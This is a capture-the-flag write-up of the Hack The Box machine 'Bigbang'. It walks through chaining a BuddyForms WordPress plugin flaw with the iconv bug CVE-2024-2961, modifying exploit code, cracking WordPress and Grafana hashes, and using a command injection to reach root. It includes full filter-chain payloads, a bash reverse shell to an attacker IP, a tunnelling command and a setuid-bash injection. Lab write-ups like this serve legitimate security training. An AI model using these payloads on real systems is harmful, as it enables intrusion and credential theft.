HTB - Bigbang
Bigbang is a hard linux box mixing wordpress plugin exploitation, Android APK analysis and API exploitation. We start off with an access to a wordpress website where we find a plugin vulnerable to a deserialization CVE (CVE-2023–26326). Deserialization not being possible here, we need to chain this CVE with CVE-2024-2961. Tweaking with the original exploit and running it lands us in a docker container as www-data in which we can find the database of the website and extract and crack the credentials of one user. We can then ssh into the real box with this user and find a grafana database holding other user credentials. This grants us ssh access as a new user whose home folder contains an Android APK. Decompiling and analysing this APK reveals a local api accepting login and command requests. After logging in, we exploit a command injection in a parameter of the command endpoint. This grants us access as root and completes the takeover of the system.
Reconnaissance
nmap
1
2
3
4
5
6
7
8
9
10
11
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_ 256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open http Apache httpd 2.4.62
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
A website running on port 80 and a ssh port open, nothing out of the ordinary for a hard linux box.
Shell as www-data
Finding vulnerabilities
Loading the website, we can find a basic template website with mostly unresponsive buttons. One thing that works is when we click the login button. This leads us to a wordpress login website:
Now that we know that this website is running wordpress, we can scan it using wpscan to understand if it has any vulnerabilities or plugins we could exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ docker run -v /etc/hosts:/etc/hosts -it --rm wpscanteam/wpscan --url http://blog.bigbang.htb
...[snip]...
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.62 (Debian)
| - X-Powered-By: PHP/8.3.2
| Found By: Headers (Passive Detection)
| Confidence: 100%
...[snip]...
[i] Plugin(s) Identified:
[+] buddyforms
| Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
| Last Updated: 2024-01-19T03:40:00.000Z
| [!] The version is out of date, the latest version is 2.8.6
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 2.7.7 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
This version of Buddyforms is vulnerable to a CVE: CVE-2023-26326.
Understanding the vulnerabilities
Going through the CVE-2023-26326 article, the author of the CVE uses a php gadget chain to send a malicious phar file in order to exploit it with a deserialization vulnerability. However, this won’t work here as the website uses php 8.3.2 and php 8+ doesn’t deserialize the metadata part of a phar anymore. But thanks to recent findings about an iconv cve CVE-2024-2961, we can chain these two vulnerabilities together to get RCE.
Note: In the demo section of the CVE-2024-2961 article, we see the author performs the exact attack we are about to try out!
The author of the CVE-2023-26326 medium post uses a ‘GIF89a’ prefix to fool the server into believing that the content they send is an image. This works because of numeral reasons. In BuddyForms, the buddyforms_upload_image_from_url function:
- Doesn’t apply any verification on the url parameter
- Has an extra parameter named
accepted_files
to specify the mime type which allows to bypass the mime verification step - The function
getimagesize
does no check on the file and assumes it is an image - The function
file_get_contents
is used with no prior checks
Prefixing the data with GIF89a
effectively fools the filetype checking and the content is then saved under the wp-content/uploads
folder.
If we want to prepend this to our malicious content, we need to create a chain to do this. At the end of the advisory article, there is a note of the author when he targeted buddyforms.
Note: if you read the advisory by the original finder, you may see that right before the file read primitive, a getimagesize() call is performed to check if the file is an image. Therefore, to allow the exploit to read /proc/self/maps and the libc, I used wrapwrap to make them look like GIF images.
Reading through the wrapwrap article they wrote about the tool, we can understand how to apply it to our problem and generate our chain. We only need a prefix (‘GIF89a’) and no suffix (‘’). As for the length, it doesn’t matter because we don’t use the suffix option.
1
2
3
4
5
6
7
8
9
10
$ python wrapwrap.py /etc/passwd 'GIF89a' '' 1000 -o chain.txt
[!] Ignoring nb_bytes value since there is no suffix
[+] Wrote filter chain to chain.txt (size=1444).
$ cat chain.txt
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-
decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decod
e|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert
.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.icon
v.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd
We can now try to use this chain and upload our “image” with resource set to /etc/passwd
:
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: blog.bigbang.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 1507
action=upload_image_from_url&url=php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd&id=1&accepted_files=image/gif
We get back a positive response: {"status":"OK","response":"http:\/\/blog.bigbang.htb\/wp-content\/uploads\/2025\/04\/1.png","attachment_id":155}
.
Note that if we change the chain and don’t have the right prefix, we’ll get an eror like this: {"status":"FAILED","response":"File type is not allowed."}
.
When we fetch the url given in the response, we find the /etc/passwd
file prefixed with our GIF89a
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GIF89aroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologi
Chaining CVE-2023-26326 and CVE-2024-2961
Our objective now is to start from the CVE-2024-2961
exploit and modify it just enough to work for our use-case.
The base for our exploit is this file. To run it, we need to give it the url where the exploit can be done and the command we want to run.
Sending data
First, we need to change the way we send data to the server. In the original exploit, they use the following function to send a path to the server:
1
2
3
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response."""
return self.session.post(self.url, data={"file": path})
We rely on the wp-admin/admin-ajax.php
endpoint for which the body contains action, url, id and accepted_files. We also use the url parameter to include our custom chain. Because the data we send is of type application/x-www-form-urlencoded
, we need to correctly parse the url parameter:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import urllib
import urllib.parse
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response."""
return self.session.post(
self.url,
data={
"action":"upload_image_from_url",
"url": urllib.parse.quote_plus("php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource="+path),
"id": "1",
"accepted_files": "image/gif"
}
)
Download data
The original download function looks like this:
1
2
3
4
5
6
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file."""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
Adapting this code to the response from BuddyForms is fairly easy. We want to get the data located at the content
key of the JSON response. We then proceed to fetch this file from the server. At the end, we need to remove the prefix that was added with our gagdet chain! I also added a small check for wrong file types (you’ll understand this part once we go over the rest of the code):
1
2
3
4
5
6
7
8
9
10
11
12
13
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path).json()
file_path = response["response"]
if "File type is not allowed" in file_path:
raise Exception(f"Incorrect file format for {file_path}")
response = self.session.get(file_path)
data = response.content[6:] # We skip 'GIF89a'
return data
Adapting places using download()
Since we modified the download function, we need to adapt some parts of the code that relied on that function.
1
2
3
def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)
Originally, this function only was only downloading the file. We need to add an extra b64 decode in order to get our real data (we make sure the b64 data is correctly padded by adding necessary =
):
1
2
3
4
5
def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
data = self.remote.download(path)
data = data.decode('latin-1')
return base64.decode(data + (4 - len(data) % 4) * '=')
When running the code, it first start by performing a check to see if the endpoint we use is vulnerable. For the sake of the exercise, I tried to make this function work but somehow, I couldn’t get the last check working (checks whether the zlib extension is enabled). In any case, this part is not very interesting for us.
ELFParseError
If we comment out this check, we go straight to the second important function of this script: get_symbols_and_addresses()
.
1
2
3
4
$ python cnet/cnet-exploit-v1.py http://blog.bigbang.htb/wp-admin/admin-ajax.php 'bash -c "bash -i >& /dev/tcp/10.10.14.155/4242 0>&1"'
[*] Potential heaps: 0x7fe96bc00040, 0x7fe96ba00040, 0x7fe96a200040, 0x7fe967a00040, 0x7fe967400040, 0x7fe966e00040, 0x7fe966400040, 0x7fe965e00040 (using first)
HEAP address: 0x7fe96bc00040
[x] ELFParseError expected 8, found 6
When it tries to read the libc file we just downloaded and saved locally, there is a mismatch. If we recall the first test we did with /etc/passwd
, you might have noticed that there were 2 bytes missing (the last letter of login and the newline). To solve this, we can try to pad our libc file with 2 nullbytes.
So we transform this:
1
elf.info["libc"] = ELF(LIBC_FILE, checksec=False)
to this
1
2
3
4
5
6
7
8
9
10
11
12
try:
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
except Exception as e:
if "expected" in str(e) and "found" in str(e):
match = re.search(r'expected\s+(\d+),\s+found\s+(\d+)', str(e))
if match:
expected = int(match.group(1))
found = int(match.group(2))
padding_size = expected - found
with open(LIBC_FILE, "ab") as f:
f.write(b"\x00" * padding_size)
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
The error message tells us how much bytes where expected and how much were found. We simply pad the file with the amount of missing bytes (in this case: 2).
Shell as www-data
Applying this change allows the exploit to continue and perform the final exploit:
1
2
3
4
5
$ python cnet/cnet-exploit-v1.py http://blog.bigbang.htb/wp-admin/admin-ajax.php 'bash -c "bash -i >& /dev/tcp/10.10.14.155/4242 0>&1"'
[*] Potential heaps: 0x7fe96bc00040, 0x7fe96ba00040, 0x7fe96a200040, 0x7fe967a00040, 0x7fe967400040, 0x7fe966e00040,
0x7fe966400040, 0x7fe965e00040 (using first)
EXPLOIT SUCCESS
Looking at our listener, we see that we indeed have a shell:
1
2
3
4
5
6
$ rlwrap nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.10.14.155] from (UNKNOWN) [10.129.241.76] 41362
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@8e3a72b5e980:/var/www/html/wordpress/wp-admin$
SSH as shawking
From the hostname, we can see that we’re in some sort of container: www-data@8e3a72b5e980
.
Rummaging around in the wordpress directory, we find the wp-config.php file where we find the information to connect to the database:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
...[snip]...
/ ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wp_user' );
/** Database password */
define( 'DB_PASSWORD', 'wp_password' );
/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );
...[snip]...
Trying to connect to this database from our shell using mysql doesn’t work as we don’t have a mysql installed in this docker container. Several options are available here like coding a small script to connect to the db or create a chisel tunnel from our machine to this docker container. I chose the latter because I felt more comfortable doing that.
1
2
3
$ ./chisel server --reverse -p 8471 # From our attacker machine
$ ./chisel client 10.10.14.166:8471 R:3306:172.17.0.1:3306 # From the victim machine
We can now connect to the mysql database by targeting our local port 3306:
1
2
3
4
5
6
7
8
9
$ mysql -h 127.0.0.1 -u wp_user -D wordpress -p -P 3306
...[snip]...
MySQL [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| 1 | root | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 | root | root@bigbang.htb | http://blog.bigbang.htb | 2024-05-31 13:06:58 | | 0 | root |
| 3 | shawking | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ | shawking | shawking@bigbang.htb | | 2024-06-01 10:39:55 | | 0 | Stephen Hawking |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
Those passwords are crackable with hashcat mode 400 (phpass, WordPress (MD5), Joomla (MD5)):
1
2
3
$ hashcat -m 400 hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
...[snip]...
$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics
We can now ssh in as shawking and see if this user can execute commands as sudo:
1
2
3
4
5
$ ssh shawking@bigbang.htb
shawking@bigbang.htb's password: # quantumphysics
shawking@bigbang:~$ sudo -l
[sudo] password for shawking:
Sorry, user shawking may not run sudo on bigbang.
We can also grab user.txt while connected as shawking.
SSH as developer
Looking for other users on the machine reveals a total of 3 users:
1
2
3
4
$ shawking@bigbang:~$ cat /etc/passwd | grep "/bin/bash"
root:x:0:0:root:/root:/bin/bash
shawking:x:1001:1001:Stephen Hawking,,,:/home/shawking:/bin/bash
developer:x:1002:1002:,,,:/home/developer:/bin/bash
In the /opt/data
folder, we find a grafana database:
1
2
3
4
5
6
7
8
9
$ shawking@bigbang:/opt/data$ ls -la
total 1008
drwxr-xr-x 6 root root 4096 Apr 25 23:49 .
drwxr-xr-x 4 root root 4096 Jun 5 2024 ..
drwxr--r-- 2 root root 4096 Jun 5 2024 csv
-rw-r--r-- 1 root root 1003520 Apr 25 23:49 grafana.db
drwxr--r-- 2 root root 4096 Jun 5 2024 pdf
drwxr-xr-x 2 root root 4096 Jun 5 2024 plugins
drwxr--r-- 2 root root 4096 Jun 5 2024 png
We can download this file locally to have a look at it.
1
2
$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3044000, file counter 757, database pages 245, cookie 0x1bd, schema 4, UTF-8, version-valid-for 757
This is a simple SQLite database so we can connect to it and extract its content:
1
2
3
sqlite> select login, email, password, salt from user;
admin|admin@localhost|441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf
developer|ghubble@bigbang.htb|7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv
Grafana uses the PBKDF2_HMAC_SHA256 hashing algorithm and stores the hash digests in hexadecimal and the salt in plaintext format. We can use a handy little tool to format these values for us in a hashcat-friendly format:
The hashes need to be written in a file in the format
<hex hash>, <salt>
.
1
2
3
4
5
6
7
8
9
10
$ python grafana2hashcat.py ~/htb/machines/bigbang/grafana_hashes.txt
[+] Grafana2Hashcat
[+] Reading Grafana hashes from: /home/kali/htb/machines/bigbang/grafana_hashes.txt
[+] Done! Read 2 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[*] Outfile was not declared, printing output to stdout instead.
sha256:10000:Q0ZuN3pNc1FwZg==:RBpxW9eI6SgXC+eVSxfLGd6DWi3t/ezoxlMnyx2bpr1H1w7bdCGwXZcGumFHy3GXOjQ=
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=
These can now be cracked with hashcat:
1
2
3
$ hashcat -m 10900 grafana_hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
...[snip]...
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:bigbang
This password allows us to ssh in as the user developer:
1
2
3
4
5
$ ssh developer@bigbang.htb
developer@bigbang.htb's password: # bigbang
developer@bigbang:~$ sudo -l
[sudo] password for developer:
Sorry, user developer may not run sudo on bigbang.
Shell as root
In developer’s home folder, we find a folder named android with a single file: satellite-app.apk
. We’ll download this file locally to analyse it.
We can extract the files of the apk:
1
2
3
4
5
6
7
8
9
10
11
12
$ apktool d satellite-app.apk -o satellite-app
I: Using Apktool 2.7.0-dirty on satellite-app.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
In the satellite-app/smali folder, we find a large number of smali files. Searching for some strings inside this folder reveals a LoginActivity class as well as some urls:
1
2
3
4
$ grep -r -i "bigbang.htb"
smali/q0/b.smali: const-string v3, "http://app.bigbang.htb:9090/command"
smali/u/f.smali: const-string v9, "http://app.bigbang.htb:9090/command"
smali/u/f.smali: const-string v9, "http://app.bigbang.htb:9090/login"
Looking at the open ports, we can see that 9090 is indeed open on the box:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ developer@bigbang:~$ ss -tunlp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 172.17.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:9090 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:33581 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 4096 [::]:80 [::]:*
Testing the endpoint with an empty json reveals the parameters:
1
2
$ developer@bigbang:/$ curl -X POST http://127.0.0.1:9090/login -d '{}' -H "Content-type:application/json"
{"error":"Missing username or password"}
If we provide a username and password, we get back an access_token:
1
2
$ curl -X POST http://127.0.0.1:9090/login -d '{"username": "developer", "password":"bigbang"}' -H "Content-type:application/json"
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MDkyOTI4OSwianRpIjoiYzk2YzBkZWYtZDgzZC00YTgzLTkyNmMtZjg4ZjFjMDJlMjMxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MDkyOTI4OSwiY3NyZiI6IjEwMDJiMWMxLWQ3NWQtNGIwNC04OTExLTA5ZDk5MDdkZmQ4MSIsImV4cCI6MTc0MDkzMjg4OX0.RQ3NB9seGg8fmC-ROey5FjiUpGlFD8sO6QgY9sfmjAI"}
Analyzing the apk code further, we find that the /command endpoint crafts a json and sends this to the server: “{"command": "send_image", "output_file": "” + something + “"}”
Using pspy64, we can also see that there’s a cronjob cleaning up images from time to time. So when the server receives a request it is probably executing the following command: echo $data > $output_file
We can try to play around with the parameter to see if we can trigger an error or execute commands:
1
2
3
4
5
6
7
developer@bigbang:~$ curl -X POST http://127.0.0.1:9090/command -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MDkyOTI4OSwianRpIjoiYzk2YzBkZWYtZDgzZC00YTgzLTkyNmMtZjg4ZjFjMDJlMjMxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MDkyOTI4OSwiY3NyZiI6IjEwMDJiMWMxLWQ3NWQtNGIwNC04OTExLTA5ZDk5MDdkZmQ4MSIsImV4cCI6MTc0MDkzMjg4OX0.RQ3NB9seGg8fmC-ROey5FjiUpGlFD8sO6QgY9sfmjAI' -H "Content-type:application/json" -d '{"command": "send_image", "output_file": "\n"}'
{"error":"Error generating image: "}
developer@bigbang:~$ curl -X POST http://127.0.0.1:9090/command -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MDkyOTI4OSwianRpIjoiYzk2YzBkZWYtZDgzZC00YTgzLTkyNmMtZjg4ZjFjMDJlMjMxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MDkyOTI4OSwiY3NyZiI6IjEwMDJiMWMxLWQ3NWQtNGIwNC04OTExLTA5ZDk5MDdkZmQ4MSIsImV4cCI6MTc0MDkzMjg4OX0.RQ3NB9seGg8fmC-ROey5FjiUpGlFD8sO6QgY9sfmjAI' -H "Content-type:application/json" -d '{"command": "send_image", "output_file": "sleep 10"}'
{"error":"Error generating image: "}
developer@bigbang:~$ curl -X POST http://127.0.0.1:9090/command -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MDkyOTI4OSwianRpIjoiYzk2YzBkZWYtZDgzZC00YTgzLTkyNmMtZjg4ZjFjMDJlMjMxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MDkyOTI4OSwiY3NyZiI6IjEwMDJiMWMxLWQ3NWQtNGIwNC04OTExLTA5ZDk5MDdkZmQ4MSIsImV4cCI6MTc0MDkzMjg4OX0.RQ3NB9seGg8fmC-ROey5FjiUpGlFD8sO6QgY9sfmjAI' -H "Content-type:application/json" -d '{"command": "send_image", "output_file": "\nsleep 10"}'
...[10 seconds pass]...
{"error":"Error reading image file: [Errno 2] No such file or directory: '\\nsleep 10'"}
The last one is interesting as it took 10 seconds to return. This means we have a command injection. An easy thing we can do now is to add a setuid bit on /bin/bash:
1
2
developer@bigbang:~$ curl -X POST http://127.0.0.1:9090/command -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MDkyOTI4OSwianRpIjoiYzk2YzBkZWYtZDgzZC00YTgzLTkyNmMtZjg4ZjFjMDJlMjMxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTc0MDkyOTI4OSwiY3NyZiI6IjEwMDJiMWMxLWQ3NWQtNGIwNC04OTExLTA5ZDk5MDdkZmQ4MSIsImV4cCI6MTc0MDkzMjg4OX0.RQ3NB9seGg8fmC-ROey5FjiUpGlFD8sO6QgY9sfmjAI' -H "Content-type:application/json" -d '{"command": "send_image", "output_file": "\nchmod 4777 /bin/bash"}'
{"error":"Error reading image file: [Errno 2] No such file or directory: '\\nchmod 4777 /bin/bash'"}
We can now become root and get the flag:
1
2
3
4
5
6
7
8
developer@bigbang:/$ ll /bin/bash
-rwsrwxrwx 1 root root 1396520 Mar 14 2024 /bin/bash*
developer@bigbang:/$ /bin/bash -p
bash-5.1# id
uid=1002(developer) gid=1002(developer) euid=0(root) groups=1002(developer)
bash-5.1# cd /root
bash-5.1# cat root.txt
e647256a************************
References:
- https://medium.com/tenable-techblog/wordpress-buddyforms-plugin-unauthenticated-insecure-deserialization-cve-2023-26326-3becb5575ed8
- https://blog.lexfo.fr/iconv-cve-2024-2961-p1.html
- https://blog.lexfo.fr/wrapwrap-php-filters-suffix.html
- https://medium.com/@knownsec404team/analysis-of-cve-2024-2961-vulnerability-e81c165cd897